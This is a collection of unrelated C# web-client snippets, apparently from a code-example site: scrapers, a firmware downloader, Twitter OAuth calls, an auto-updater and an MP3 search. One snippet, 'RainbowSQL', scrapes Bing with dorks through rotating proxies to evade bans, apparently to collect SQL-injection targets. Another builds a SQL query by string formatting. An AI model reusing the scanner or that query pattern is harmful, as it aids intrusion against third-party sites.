                System.Net.HttpWebRequest req = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url);
                req.UserAgent = SessionClient.DefUA;
                req.Proxy     = proxy;
                req.Timeout   = 8000;
                req.Method    = "POST";
                //prevent 303
                req.AllowAutoRedirect = false;
                byte[] buf = Encoding.UTF8.GetBytes(data);
                req.ContentType   = "application/x-www-form-urlencoded";
                req.ContentLength = buf.Length;
                System.IO.Stream str = req.GetRequestStream();
                str.Write(buf, 0, buf.Length);
                str.Close();
                System.Net.WebResponse rsp = req.GetResponse();
                //http://e-shuushuu.net/search/results/?tags=2
                //HTTP 303然后返回实际地址
                string location = rsp.Headers["Location"];
                rsp.Close();
                if (location != null && location.Length > 0)
                {
                    //非完整地址,需要前缀
                    url = rsp.Headers["Location"] + "&page=" + page;
                }
                else
                {
                    throw new Exception("没有搜索到关键词相关的图片(每个关键词前后需要加双引号如 \"sakura\"))");
                }
            }

            string pageString = web.DownloadString(url);

            web.Dispose();

            return(pageString);
        }
Ejemplo n.º 32
0
        private void button1_Click(object sender, EventArgs e)
        {
            SaveSettings();
            if (button1.Text == "Start")
            {
//                DELETE(old_firmware_name, "Delete " + old_firmware_name);   // remove old firmware file (pre-2012) that causes flash to fail

//                return;

                bCancel          = false;
                button1.Enabled  = false;
                bError           = false;
                previousDateTime = "(unknown)";


                statDecompress.BackColor = SystemColors.InactiveCaption;
                statDownload.BackColor   = SystemColors.InactiveCaption;
                statUpload.BackColor     = SystemColors.InactiveCaption;
                lbReboot.BackColor       = SystemColors.InactiveCaption;
                lbFlash.BackColor        = SystemColors.InactiveCaption;
                lbSRAM.BackColor         = SystemColors.InactiveCaption;

                statDecompress.Text = "";
                statDownload.Text   = "";
                statUpload.Text     = "";
                lbReboot.Text       = "Reboot";

                if (!CheckVersion())
                {
                    button1.Enabled  = true;
                    bError           = true;
                    previousDateTime = "(unknown)";
                    return;
                }


                if (cbZip.Text == "" || cbZip.Text.StartsWith("http://") ||
                    !File.Exists(cbZip.Text))
                {
                    if (cbZip.Text != "")
                    {
                        downloadFile = cbZip.Text;
                    }

                    try
                    {
                        lbDownload.BackColor = Color.Yellow;
                        progDownload.Minimum = 0;
                        progDownload.Maximum = 1000;
                        progDownload.Value   = 0;
                        Application.DoEvents();

                        var path     = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\GFU";
                        var file     = "download " + DateTime.Now.ToString("yyyy-MM-dd") + ".zip";
                        var fileName = Path.Combine(path, file);
                        System.IO.Directory.CreateDirectory(path);
                        using (MyWebClient client = new MyWebClient())
                        {
                            client.DownloadProgressChanged +=
                                new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
                            client.DownloadFileCompleted += new AsyncCompletedEventHandler(client_DownloadFileCompleted);
                            client.DownloadFileAsync(new System.Uri(downloadFile), fileName);
                        }

                        CombinedFile = fileName;
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(this,
                                        "Unable to download combined.zip:\n" + ex.Message + "\n\nDetails:\n" + ex.ToString(),
                                        "Download " + downloadFile, MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                else //an older/saved version of firmware was already picked in the cb
                {
                    DialogResult res = MessageBox.Show(this,
                                                       "Do you want to upload a prevoiusly downloaded firmware file?\n" + cbZip.Text,
                                                       "Upload existing file?", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question,
                                                       MessageBoxDefaultButton.Button1);
                    if (res == DialogResult.Yes)
                    {
                        CombinedFile = cbZip.Text;
                        Application.DoEvents();
                        Decompress(CombinedFile);
                    }
                }
            }
            button1.Text    = "Start";
            button1.Enabled = true;
        }
Ejemplo n.º 33
0
        TraceImage _info = null;    // 事件之间传递信息
        void DownloadImages()
        {
            if (_trace_images.Count == 0)
                return;

            _info = _trace_images[0];
            _trace_images.RemoveAt(0);

            _info.FileName = GetTempFileName();

            string strError = "";
            if (_webClient == null)
                _webClient = new WebClient();

            _webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(webClient_downloadFileCompleted);
            try
            {
                _webClient.DownloadFileAsync(new Uri(_info.ImageUrl, UriKind.Absolute),
                    _info.FileName, null);
            }
            catch (Exception ex)
            {
                strError = ex.Message;
                _info.Row[COLUMN_IMAGE].Text = strError;
            }
        }
Ejemplo n.º 34
0
        // 下载图像文件。因为在线程中使用,所以使用同步的版本就行
        void DownloadImages()
        {
            TraceImage info = null;
            lock (_trace_images)
            {
                if (_trace_images.Count == 0)
                    return;

                info = _trace_images[0];
                _trace_images.RemoveAt(0);
            }

            info.FileName = GetTempFileName();

            string strError = "";
            if (_webClient == null)
            {
                _webClient = new MyWebClient();
                _webClient.Timeout = 5000;
                _webClient.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.CacheIfAvailable);
            }

            try
            {
                _webClient.DownloadFile(new Uri(info.ImageUrl, UriKind.Absolute), info.FileName);
            }
            catch (WebException ex)
            {
                if (ex.Status == WebExceptionStatus.ProtocolError)
                {
                    var response = ex.Response as HttpWebResponse;
                    if (response != null)
                    {
                        if (response.StatusCode == HttpStatusCode.NotFound)
                        {
                            strError = ex.Message;
                            SetErrorText(info, strError);
                            goto END1;
                        }
                    }
                }

                strError = ex.Message;
                SetErrorText(info, strError);
            }
            catch (Exception ex)
            {
                strError = ex.Message;
                SetErrorText(info, strError);
#if NO
                info.Row[COLUMN_IMAGE].Text = strError;
                info.Row[COLUMN_IMAGE].OwnerDraw = false;
#endif
            }

            if (this.IsDisposed == true || this.Visible == false
    || info == null)
                return;

            // _info.Row[COLUMN_IMAGE].Image = Image.FromFile(_info.FileName);
            SetImage(info.Row[COLUMN_IMAGE], info.FileName);
            END1:
            this.ActivateThread();
        }
Ejemplo n.º 35
0
            public static string DownloadAsString(string url, ref Encoding resolvedEncoding)
            {
                using (MyWebClient wc = new MyWebClient())
                {
                wc.Encoding = Encoding.ASCII;

                //wc.Headers["Connection"] = "keep-alive";
                wc.Headers["Cache-Control"] = "max-age=0";
                wc.Headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
                wc.Headers["User-Agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";
                //wc.Headers["Accept-Encoding"] = "gzip,deflate,sdch";
                wc.Headers["Accept-Language"] = "tr,en;q=0.8,en-US;q=0.6";

                byte[] bytes = wc.DownloadData(url);

                string pageEncoding = "";
                resolvedEncoding = Encoding.UTF8;
                if (!string.IsNullOrWhiteSpace(wc.ResponseHeaders[HttpResponseHeader.ContentEncoding]))
                    pageEncoding = wc.ResponseHeaders[HttpResponseHeader.ContentEncoding];
                else if (!string.IsNullOrWhiteSpace(wc.ResponseHeaders[HttpResponseHeader.ContentType]))
                    pageEncoding = getCharacterSet(wc.ResponseHeaders[HttpResponseHeader.ContentType]);

                if (pageEncoding == "")
                    pageEncoding = getCharacterSet(bytes);

                if (pageEncoding != "")
                {
                    try
                    {
                        resolvedEncoding = Encoding.GetEncoding(pageEncoding);
                    }
                    catch
                    {
                        //throw new Exception("Invalid encoding: " + pageEncoding);
                    }
                }

                return resolvedEncoding.GetString(bytes);

                //return Encoding.UTF8.GetString(Encoding.Convert(wc.Encoding, Encoding.UTF8, bytes));
                }
            }
Ejemplo n.º 36
0
        private void AuthorizeCommand()
        {
            MyWebClient client = new MyWebClient();
            OAuthHelper oauth = new OAuthHelper();

            oauth.Token = OAuthToken;
            oauth.Verifier = Verifier;
            oauth.TokenSecret = OAuthTokenSecret;
            oauth.CreateSignature("https://api.twitter.com/oauth/access_token", "GET");
            string auth = oauth.AuthenticationHeader;
            client.SetHeader("Authorization", auth);
            client.DoPostCompleted += new EventHandler<DoPostCompletedEventArgs>(AuthCompleted);
            client.DoGetAsync(new Uri("https://api.twitter.com/oauth/access_token", UriKind.Absolute));
        }
Ejemplo n.º 37
0
        private void MakeTweet_Click(object sender, RoutedEventArgs e)
        {
            VisualStateManager.GoToState(this, "Tweeting", true);
            string uri = "http://api.twitter.com/1/statuses/update.xml";
            MyWebClient client = new MyWebClient();
            client.OAuthHelper = OAuthHelper;
            client.AddParameter("status", TweetText);

            if (InReplyTo != null)
            {
                client.AddParameter("in_reply_to_status_id", InReplyTo.Id.ToString());
            }
            client.DoPostCompleted += new EventHandler<DoPostCompletedEventArgs>(TweetCompleted);
            client.DoPostAsync(new Uri(uri, UriKind.Absolute));
        }
Ejemplo n.º 38
0
        private static void DorkScannerBing2()
        {
            //Prepare Scanner.
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Put all dorks in dorks.txt file and click Enter.");
            Console.ReadKey();
            LoadDorks();
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Please specify number of pages per dork! (minimum 2 pages)");
            Console.Write("\nRainbowSQL/>");
            int pages_to_scan = Convert.ToInt32(Console.ReadLine());

            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Do you want to use proxies(y/n)?");
            Console.Write("\nRainbowSQL/>");
            string option = Console.ReadLine().ToLower();

            //Load proxies if user agreed.
            if (option == "y")
            {
                LoadProxies();
            }
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("[I] Please specify number of threads!");
            Console.Write("\nRainbowSQL/>");
            int threads = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("Starting scraping using BING!");

            //MULTI F*****G THREADING.
            Parallel.For(0, dorks.Count, new ParallelOptions {
                MaxDegreeOfParallelism = threads
            }, x =>
            {
                //Prepare webclient
                MyWebClient client = new MyWebClient();
                client.Headers.Add("User-Agent", "Mozilla/5.0 (Linux; Android 9; STF-L09 Build/HUAWEISTF-L09; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/267.1.0.46.120;]");
                string dork = dorks[x];

                //LOOP EACH PAGE
                for (int i = 1; i < pages_to_scan; i++)
                {
                    int success      = 0;                                    //Loop until success to prevent loosing pages due to bad proxies
                    int Proxy_Number = 0;                                    // Number of proxy used for this page
                    int ThreadID     = Thread.CurrentThread.ManagedThreadId; //used to determinate id of thread
                    while (success != 1)
                    {
                        try
                        {
                            if (ThreadID == 1)
                            {
                                WriteStatusBingScrape(pages_to_scan, dork);
                            }
                            //Check if proxies left
                            if (option == "y" && proxies.Count() == 0)
                            {
                                //Well we are f****d. No proxies left. FBI is after us

                                //Write only from 1 thread.
                                if (ThreadID == 1)
                                {
                                    Console.Clear();
                                    Console.ForegroundColor = ConsoleColor.Red;
                                    Console.WriteLine("[!] No Proxies left.Click enter to exit!");
                                }

                                //Write all found urls to file!
                                File.WriteAllLines("urls.txt", urls);
                                Console.ReadKey();
                                Environment.Exit(1);
                            }

                            //SET PROXY
                            if (option == "y")
                            {
                                string[] Proxy_data = PickRandomProxy();
                                string ip           = Proxy_data[0];
                                int port            = Convert.ToInt32(Proxy_data[1]);
                                Proxy_Number        = Convert.ToInt32(Proxy_data[2]);
                            }

                            //Prepare url
                            int page_number = i * 50; //We are doing increments of 50.
                            string url      = GenerateBingUrl(dork, page_number);
                            //Get HTML of search engine page
                            string htmlCode = client.DownloadString(url);

                            //Check size. If smaller tahn 100kbs then proxy is banned and there is no results.
                            int size = Convert.ToInt32((System.Text.ASCIIEncoding.ASCII.GetByteCount(htmlCode) / 1024f));
                            if (size < 100)
                            {
                                throw new System.Exception();
                            }
                            //Process HTML to get all href tags
                            ProcessHTML(htmlCode);

                            //Set success to 1 to exit loop and get another page
                            success = 1;
                        }
                        catch (Exception e)
                        {
                            //If proxy on then remove this proxy cause it sucks.
                            if (option == "y")
                            {
                                RemoveProxy(Proxy_Number);
                            }
                            else
                            {
                                //We are not using proxy, so our IP was propably banned;
                                if (ThreadID == 1)
                                {
                                    Console.ForegroundColor = ConsoleColor.Red;
                                    Console.WriteLine("[!] Your ip was banned. Click enter to exit!");
                                    Console.ReadKey();
                                    File.WriteAllLines("urls.txt", urls);
                                    Environment.Exit(1);
                                }
                            }
                        }
                    }
                }
            });
            //Scraping has ended. Write ending
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("\n\n\n\n\n[S]Scraping has ended! Click enter to exit!");
            Console.ForegroundColor = ConsoleColor.White;
            //Save urls to file
            File.WriteAllLines("urls.txt", urls);
            Console.ReadKey();
        }
Ejemplo n.º 39
0
 public Dms()
 {
     webClient = new MyWebClient();
 }
Ejemplo n.º 40
0
        static void GetIndoContent()
        {
            List<HadithContent> IndoContent = new List<HadithContent>();
            HadithDBEntities ctx = new HadithDBEntities();
            var hadist = (from c in ctx.Hadiths
                          where c.Name == "bukhari"
                          select c).ToList();

            for (int i = 0; i < hadist.Count; i++)
            {
                var selHadith = hadist[i];
                var hadistIndex = (from c in ctx.HadithIndexes
                                   where c.HadithID == selHadith.HadithID
                                   orderby c.No
                                   select c).ToList();
                for (int j = 0; j < hadistIndex.Count; j++)
                {
                    var selIndex = hadistIndex[j];
                    var selURL = string.Format("http://sunnah.com/{0}/{1}", selHadith.Name, selIndex.No);

                    try
                    {
                        //CookieAwareWebClient client = new CookieAwareWebClient ();
                        //var Webget = new HtmlWeb();
                        MyWebClient client = new MyWebClient();
                        var doc = client.GetPage(selURL); //Webget.Load(selURL);
                        HadithChapter selChapter = null;
                        int ContentCounter = 0;

                        HadithPage selPage = new HadithPage();
                        selPage.PageNo = selIndex.No;
                        selPage.HadithID = selHadith.HadithID;
                        //get title
                        foreach (HtmlNode node in doc.DocumentNode.SelectNodes("//div"))
                        {
                            if (node.Attributes["class"] != null && !string.IsNullOrEmpty(node.Attributes["class"].Value))
                            {
                                switch (node.Attributes["class"].Value)
                                {
                                    case "book_page_english_name":
                                        selPage.Title = node.InnerHtml;
                                        break;
                                    case "book_page_arabic_name arabic":
                                        selPage.TitleArabic = node.InnerHtml;
                                        //ctx.HadithPages.Add(selPage);
                                        break;

                                    case "chapter":
                                        selChapter = new HadithChapter();
                                        selChapter.HadithID = selHadith.HadithID;
                                        selChapter.PageNo = selPage.PageNo;
                                        //iterate every chapter
                                        var chapterNode = node;
                                        {
                                            var subnode = chapterNode.SelectSingleNode(".//div[@class='echapno']");
                                            if (subnode != null)
                                            {
                                                selChapter.ChapterNo = Convert.ToInt32(subnode.InnerText.Replace("(", "").Replace(")", ""));
                                            }
                                        }
                                        {
                                            var subnode = chapterNode.SelectSingleNode(".//div[@class='englishchapter']");
                                            if (subnode != null)
                                            {
                                                selChapter.Title = subnode.InnerText;
                                            }
                                        }
                                        {
                                            var subnode = chapterNode.SelectSingleNode(".//div[@class='arabicchapter arabic']");
                                            if (subnode != null)
                                            {
                                                selChapter.TitleArabic = subnode.InnerText;
                                            }
                                        }
                                        //ctx.HadithChapters.Add(selChapter);
                                        break;
                                    case "arabic achapintro":
                                        {
                                            if (selChapter != null)
                                            {
                                                selChapter.Intro = node.InnerText;
                                            }
                                            //ctx.SaveChanges();
                                        }
                                        break;
                                    case "actualHadithContainer":
                                        HadithContent selContent = new HadithContent();
                                        selContent.HadithID = selHadith.HadithID;
                                        selContent.PageNo = selPage.PageNo;
                                        //selContent.ChapterNo = selPage.PageNo;
                                        if (selChapter != null)
                                            selContent.ChapterNo = selChapter.ChapterNo;
                                        {
                                            var subnode = node.SelectSingleNode(".//div[@class='hadith_narrated']");
                                            if (subnode != null)
                                            {
                                                selContent.Narated = subnode.InnerHtml;
                                            }
                                        }
                                        {
                                            var subnode = node.SelectSingleNode(".//div[@class='text_details']");
                                            if (subnode != null)
                                            {
                                                selContent.ContentEnglish = subnode.InnerHtml;
                                            }
                                        }
                                        {
                                            var subnode = node.SelectSingleNode(".//div[@class='indonesian_hadith_full']");
                                            if (subnode != null)
                                            {
                                                selContent.ContentIndonesia = subnode.InnerHtml;
                                            }
                                        }
                                        {
                                            var subnode = node.SelectSingleNode(".//table[@class='gradetable']");
                                            if (subnode != null)
                                            {
                                                selContent.Grade = subnode.InnerText;
                                            }
                                        }
                                        {
                                            var subnode = node.SelectSingleNode(".//table[@class='hadith_reference']");

                                            selContent.Reference = subnode.InnerHtml;
                                        }
                                        {
                                            var subnode = node.SelectNodes(".//span[@class='arabic_sanad arabic']");
                                            selContent.SanadTop = subnode[0].InnerHtml;
                                            selContent.SanadBottom = subnode[1].InnerHtml;

                                        }
                                        {
                                            var subnode = node.SelectSingleNode(".//span[@class='arabic_text_details arabic']");
                                            selContent.ContentArabic = subnode.InnerHtml;
                                        }
                                        IndoContent.Add(selContent);
                                        //ctx.HadithContents.Add(selContent);
                                        ContentCounter++;
                                        if (ContentCounter > 100)
                                        {
                                            //ctx.SaveChanges();
                                            ContentCounter = 0;
                                        }
                                        break;
                                    default: break;
                                }
                            }


                        }

                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                    Console.WriteLine(IndoContent.Count);
                    Console.ReadLine();
                    //ctx.SaveChanges();
                    break;
                }
            }
        }
        private void teamSelector_SelectedIndexChanged(object sender, EventArgs e)
        {
            url = ("http://www.thebluealliance.com/api/v2/team/frc");
            url = url + Convert.ToString(_teamNumberArray[teamSelector.SelectedIndex]);
            string downloadedData;
            var wc = new MyWebClient();
            wc.Headers.Add("X-TBA-App-Id",
                "3710-xNovax:FRC_Scouting_V2:" + Assembly.GetExecutingAssembly().GetName().Version);

            try
            {
                downloadedData = (wc.DownloadString(url));
                var deserializedData = JsonConvert.DeserializeObject<TeamInformationJSONData>(downloadedData);

                teamName = Convert.ToString(deserializedData.nickname);
                teamNumber = Convert.ToInt32(deserializedData.team_number);
                teamLocation = Convert.ToString(deserializedData.location);
                rookieYear = Convert.ToInt32(deserializedData.rookie_year);
                teamURL = Convert.ToString(deserializedData.website);
            }
            catch (Exception webError)
            {
                Console.WriteLine("Error Message: " + webError.Message);
                ConsoleWindow.WriteLine("Error Message: " + webError.Message);
            }

            teamNameDisplay.Text = teamName;
            teamNumberDisplay.Text = Convert.ToString(teamNumber);
            teamLocationDisplay.Text = teamLocation;
            rookieYearDisplay.Text = Convert.ToString(rookieYear);
            teamURLDisplay.Text = teamURL;

            object teamImage = Resources.ResourceManager.GetObject("FRC" + _teamNumberArray[teamSelector.SelectedIndex]);
            teamLogoPictureBox.Image = (Image) teamImage;

            Program.selectedTeamName = _teamNameArray[teamSelector.SelectedIndex];
            Program.selectedTeamNumber = _teamNumberArray[teamSelector.SelectedIndex];
            Settings.Default.Save();

            matchSummaryEntryID.Clear();
            matchSummaryTeamNumber.Clear();
            matchSummaryTeamName.Clear();
            matchSummaryTeamColour.Clear();
            matchSummaryMatchNumber.Clear();
            matchSummaryAutoHighGoal.Clear();
            matchSummaryAutoHighMiss.Clear();
            matchSummaryAutoLowGoal.Clear();
            matchSummaryAutoLowMiss.Clear();
            matchSummaryControlledHighGoal.Clear();
            matchSummaryControlledHighMiss.Clear();
            matchSummaryControlledLowGoal.Clear();
            matchSummaryControlledLowMiss.Clear();
            matchSummaryHotGoals.Clear();
            matchSummaryHotMisses.Clear();
            matchSummaryTripleAssistGoal.Clear();
            matchSummaryTripleAssistMiss.Clear();
            matchSummaryAutoBallPickup.Clear();
            matchSummaryAutoBallPickupMiss.Clear();
            matchSummaryControlledBallPickup.Clear();
            matchSummaryControlledBallPickupMiss.Clear();
            matchSummaryPickupFromHuman.Clear();
            matchSummaryPickupFromHumanMiss.Clear();
            matchSummaryPassToAnotherRobot.Clear();
            matchSummaryPassToAnotherRobotMiss.Clear();
            matchSummarySuccessfulTruss.Clear();
            matchSummaryUnSuccessfulTruss.Clear();
            matchSummaryStartingX.Clear();
            matchSummaryStartingY.Clear();
            matchSummaryDidRobotDie.Clear();
            matchSummaryAutoMovement.Clear();
            matchSummaryDriverRating.Clear();
            matchSummaryComments.Clear();
            matchSummaryX.Clear();
            matchSummaryY.Clear();

            try
            {
                var conn = new MySqlConnection(MySQLMethods.MakeMySqlConnectionString());
                MySqlCommand cmd = conn.CreateCommand();
                MySqlDataReader reader;
                cmd.CommandText = String.Format("SELECT * From {0} where TeamNumber={1}",
                    Program.selectedEventName, Program.selectedTeamNumber);
                conn.Open();
                reader = cmd.ExecuteReader();
                teamMatchBox.Items.Clear();
                while (reader.Read())
                {
                    teamMatchBox.Items.Add("Match Number: " + reader["MatchNumber"]);

                    matchSummaryEntryID.Add(Convert.ToInt32(reader["EntryID"]));
                    matchSummaryTeamNumber.Add(Convert.ToInt32(reader["TeamNumber"]));
                    matchSummaryTeamName.Add(reader["TeamName"].ToString());
                    matchSummaryTeamColour.Add(reader["TeamColour"].ToString());
                    matchSummaryMatchNumber.Add(Convert.ToInt32(reader["MatchNumber"]));
                    matchSummaryAutoHighGoal.Add(Convert.ToInt32(reader["AutoHighGoal"]));
                    matchSummaryAutoHighMiss.Add(Convert.ToInt32(reader["AutoHighMiss"]));
                    matchSummaryAutoLowGoal.Add(Convert.ToInt32(reader["AutoLowGoal"]));
                    matchSummaryAutoLowMiss.Add(Convert.ToInt32(reader["AutoLowMiss"]));
                    matchSummaryControlledHighGoal.Add(Convert.ToInt32(reader["ControlledHighGoal"]));
                    matchSummaryControlledHighMiss.Add(Convert.ToInt32(reader["ControlledHighMiss"]));
                    matchSummaryControlledLowGoal.Add(Convert.ToInt32(reader["ControlledLowGoal"]));
                    matchSummaryControlledLowMiss.Add(Convert.ToInt32(reader["ControlledLowMiss"]));
                    matchSummaryHotGoals.Add(Convert.ToInt32(reader["HotGoals"]));
                    matchSummaryHotMisses.Add(Convert.ToInt32(reader["HotGoalMiss"]));
                    matchSummaryTripleAssistGoal.Add(Convert.ToInt32(reader["3AssistGoal"]));
                    matchSummaryTripleAssistMiss.Add(Convert.ToInt32(reader["3AssistMiss"]));
                    matchSummaryAutoBallPickup.Add(Convert.ToInt32(reader["AutoBallPickup"]));
                    matchSummaryAutoBallPickupMiss.Add(Convert.ToInt32(reader["AutoBallPickupMiss"]));
                    matchSummaryControlledBallPickup.Add(Convert.ToInt32(reader["ControlledBallPickup"]));
                    matchSummaryControlledBallPickupMiss.Add(Convert.ToInt32(reader["ControlledBallPickupMiss"]));
                    matchSummaryPickupFromHuman.Add(Convert.ToInt32(reader["PickupFromHuman"]));
                    matchSummaryPickupFromHumanMiss.Add(Convert.ToInt32(reader["MissedPickupFromHuman"]));
                    matchSummaryPassToAnotherRobot.Add(Convert.ToInt32(reader["PassToAnotherRobot"]));
                    matchSummaryPassToAnotherRobotMiss.Add(Convert.ToInt32(reader["MissedPassToAnotherRobot"]));
                    matchSummarySuccessfulTruss.Add(Convert.ToInt32(reader["SuccessfulTruss"]));
                    matchSummaryUnSuccessfulTruss.Add(Convert.ToInt32(reader["UnsuccessfulTruss"]));
                    matchSummaryStartingX.Add(Convert.ToInt32(reader["StartingX"]));
                    matchSummaryStartingY.Add(Convert.ToInt32(reader["StartingY"]));
                    matchSummaryDidRobotDie.Add(Convert.ToInt32(reader["DidRobotDie"]));
                    matchSummaryDriverRating.Add(Convert.ToInt32(reader["DriverRating"]));
                    matchSummaryAutoMovement.Add(Convert.ToInt32(reader["AutoMovement"]));
                    matchSummaryX.Add(Convert.ToInt32(reader["StartingX"]));
                    matchSummaryY.Add(Convert.ToInt32(reader["StartingY"]));
                    matchSummaryComments.Add(reader["Comments"].ToString());
                }
                conn.Close();
            }
            catch (MySqlException exception)
            {
                Console.WriteLine("Error Code: " + exception.ErrorCode);
                Console.WriteLine("Error Message: " + exception.Message);
                ConsoleWindow.WriteLine("Error Code: " + exception.ErrorCode);
                ConsoleWindow.WriteLine("Error Message: " + exception.Message);
            }
        }
Ejemplo n.º 42
0
 internal void Favourite()
 {
     //TwitterClient client = new TwitterClient();
     //client.FavoriteCompleted += new EventHandler<FavoriteCompletedEventArgs>(client_FavoriteCompleted);
     //client.FavoriteAsync(Id);
     MyWebClient client = new MyWebClient();
     client.OAuthHelper = new OAuthHelper();
     client.DoPostCompleted +=new EventHandler<DoPostCompletedEventArgs>(client_DoPostCompleted); //new UploadStringCompletedEventHandler(client_FavoriteCompleted);
     client.DoPostAsync(new Uri(string.Format("http://api.twitter.com/1/favorites/create/{0}.xml", Id), UriKind.Absolute));
 }
Ejemplo n.º 43
0
        private static object CheckUpdate(Assembly mainAssembly)
        {
            var companyAttribute =
                (AssemblyCompanyAttribute)AssemblyHelper.GetAttribute(mainAssembly, typeof(AssemblyCompanyAttribute));
            string appCompany = companyAttribute != null ? companyAttribute.Company : "";

            if (string.IsNullOrEmpty(AppTitle))
            {
                var titleAttribute =
                    (AssemblyTitleAttribute)AssemblyHelper.GetAttribute(mainAssembly, typeof(AssemblyTitleAttribute));
                AppTitle = titleAttribute != null ? titleAttribute.Title : mainAssembly.GetName().Name;
            }

            string registryLocation = !string.IsNullOrEmpty(appCompany)
                ? $@"Software\{appCompany}\{AppTitle}\AutoUpdater"
                : $@"Software\{AppTitle}\AutoUpdater";

            if (PersistenceProvider == null)
            {
                PersistenceProvider = new RegistryPersistenceProvider(registryLocation);
            }

            BaseUri = new Uri(AppCastURL);

            UpdateInfoEventArgs args;

            using (MyWebClient client = GetWebClient(BaseUri, BasicAuthXML))
            {
                string xml = client.DownloadString(BaseUri);

                if (ParseUpdateInfoEvent == null)
                {
                    //XmlSerializer xmlSerializer = new XmlSerializer(typeof(UpdateInfoEventArgs));
                    //XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(xml)) { XmlResolver = null };
                    //args = (UpdateInfoEventArgs)xmlSerializer.Deserialize(xmlTextReader);
                    ParseUpdateInfoEventArgs parseArgs = new ParseUpdateInfoEventArgs(xml);
                    AutoUpdaterOnParseUpdateInfoEvent(parseArgs);
                    args = parseArgs.UpdateInfo;
                }
                else
                {
                    ParseUpdateInfoEventArgs parseArgs = new ParseUpdateInfoEventArgs(xml);
                    ParseUpdateInfoEvent(parseArgs);
                    args = parseArgs.UpdateInfo;
                }
            }

            if (string.IsNullOrEmpty(args.CurrentVersion) || string.IsNullOrEmpty(args.DownloadURL))
            {
                throw new MissingFieldException();
            }

            args.InstalledVersion  = mainAssembly.GetName().Version;
            args.IsUpdateAvailable = new Version(args.CurrentVersion) > mainAssembly.GetName().Version;

            if (!Mandatory)
            {
                if (string.IsNullOrEmpty(args.Mandatory.MinimumVersion) ||
                    args.InstalledVersion < new Version(args.Mandatory.MinimumVersion))
                {
                    Mandatory = args.Mandatory.Value;
                }
            }

            if (Mandatory)
            {
                ShowRemindLaterButton = false;
                ShowSkipButton        = false;
            }
            else
            {
                // Read the persisted state from the persistence provider. This method makes the persistence handling independent from the storage method.
                var skippedVersion = PersistenceProvider.GetSkippedVersion();
                if (skippedVersion != null)
                {
                    var currentVersion = new Version(args.CurrentVersion);
                    if (currentVersion <= skippedVersion)
                    {
                        return(null);
                    }

                    if (currentVersion > skippedVersion)
                    {
                        // Update the persisted state. Its no longer makes sense to have this flag set as we are working on a newer application version.
                        PersistenceProvider.SetSkippedVersion(null);
                    }
                }

                var remindLaterAt = PersistenceProvider.GetRemindLater();
                if (remindLaterAt != null)
                {
                    int compareResult = DateTime.Compare(DateTime.Now, remindLaterAt.Value);

                    if (compareResult < 0)
                    {
                        return(remindLaterAt.Value);
                    }
                }
            }

            return(args);
        }
Ejemplo n.º 44
0
 public HttpMgrLayer()
 {
     webclient = new MyWebClient();
     httpTask  = new Queue <Task>();
 }
Ejemplo n.º 45
0
        public void DownloadMP3Clan(int num, int session)
        {
            PassArguments result = songArray[session][num];

            EditList("Loading...", result.PassedFileName, result.PassedNum, 0);

            int                 highestBitrateNum   = 0;
            Mp3ClanTrack        highestBitrateTrack = null;
            List <Mp3ClanTrack> tracks = null;

            const string searchBaseUrl = "http://mp3clan.com/mp3_source.php?q={0}";
            var          searchUrl     = new Uri(string.Format(searchBaseUrl, Uri.EscapeDataString(result.PassedSong)));
            string       pageSource    = null;

            while (true)
            {
                try
                {
                    pageSource = new MyWebClient().DownloadString(searchUrl);
                    break;
                }
                catch (WebException e)
                {
                    if (e.Status == WebExceptionStatus.ProtocolError)
                    {
                        EditList("Queued", result.PassedFileName, result.PassedNum, 1); //In Que so when its less than 5 it will start
                        _youtubeNum++;
                        _totalQuedNum++;
                        var th = new Thread(unused => Search(num, session));
                        th.Start();
                        return;
                    }
                    Log("[Error: x3] " + e.Message + " | " + result.PassedFileName, true);
                }
            }


            IEnumerable <Mp3ClanTrack> trackResult;

            if (Mp3ClanTrack.TryParseFromSource(pageSource, out trackResult))
            {
                tracks = trackResult.ToList();
                foreach (var track in tracks)
                {
                    if (track.Artist.ToLower().Trim().Contains(result.PassedArtist.ToLower()) &&
                        track.Name.ToLower().Trim().Equals(result.PassedSong.ToLower()))
                    {
                        string bitrateString = null;
                        int    attempts      = 0;
                        while (true)
                        {
                            try
                            {
                                bitrateString = new MyWebClient().DownloadString("http://mp3clan.com/bitrate.php?tid=" + track.Mp3ClanUrl.Replace("http://mp3clan.com/app/get.php?mp3=", ""));
                                break;
                            }
                            catch (Exception ex)
                            {
                                attempts++;
                                if (attempts > 2)
                                {
                                    Log("[Infomation: x4] " + result.PassedFileName + " " + ex.Message);
                                    bitrateString = "0 kbps";
                                    break;
                                }
                            }
                        }

                        int bitrate = Int32.Parse(GetKbps(bitrateString));
                        if (bitrate >= 192)
                        {
                            if (bitrate > highestBitrateNum)
                            {
                                double persentage = (GetLength(bitrateString) / result.PassedLength) * 100;
//                                double durationMS = TimeSpan.FromMinutes(getLength(bitrateString)).TotalMilliseconds;
//                                double persentage = (durationMS/result.passedLengthMS)*100;
                                if (persentage >= 85 && persentage <= 115)
                                {
//                                    Log("Length acc: " + string.Format("{0:0.00}", persentage) + "%");
                                    highestBitrateNum   = bitrate;
                                    highestBitrateTrack = track;
                                }
                            }
                        }
                    }
                }
            }
            //=======For testing================
//            EditList("Queued", result.passedFileName, result.passedNum, 1);
//            youtubeNum++;
